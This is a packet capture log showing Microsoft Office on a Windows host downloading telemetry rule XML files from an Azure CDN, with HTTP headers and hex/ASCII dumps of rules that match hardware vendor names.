Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.9	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:47 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215347Z-174f7845968kvnqxhC1EWRmf3g0000000nv00000000074b3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.9	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:47 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:47 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 20b9087d-001e-0049-035f-435bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215347Z-174f7845968xlwnmhC1EWR0sv800000011x0000000004yct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:47 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.9	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:49 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f0a23f1-f01e-0099-76b2-429171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215349Z-174f7845968nxc96hC1EWRspw800000011u000000000579c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.9	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:49 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:49 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ee01645-001e-0017-38b5-420c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215349Z-174f7845968px8v7hC1EWR08ng000000127000000000euzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:49 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.9	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:49 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215349Z-174f7845968pf68xhC1EWRr4h800000012bg00000000230w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.9	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:49 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6eee8137-f01e-0096-4bb4-4210ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215349Z-174f78459684db9fhC1EWRc7g400000001x000000000nx9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:49 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:49 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 32f81047-301e-0051-4315-4138bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215349Z-174f7845968jrjrxhC1EWRmmrs000000124g000000009wnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:50 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:51 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:51 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: faa09a65-901e-00ac-8010-41b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215351Z-174f7845968pght8hC1EWRyvxg0000000560000000006x2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:52 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.9	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:51 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:51 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215351Z-174f7845968vqt9xhC1EWRgten00000011y000000000mqpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:51 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215351Z-174f7845968vqt9xhC1EWRgten000000124g00000000389k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.9	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:51 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:52 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215352Z-174f7845968xr5c2hC1EWRd0hn0000000kxg0000000057uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:52 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:51 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:52 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7090c7f2-e01e-000c-3ea1-428e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215352Z-174f784596886s2bhC1EWR743w00000012200000000099bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:52 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" 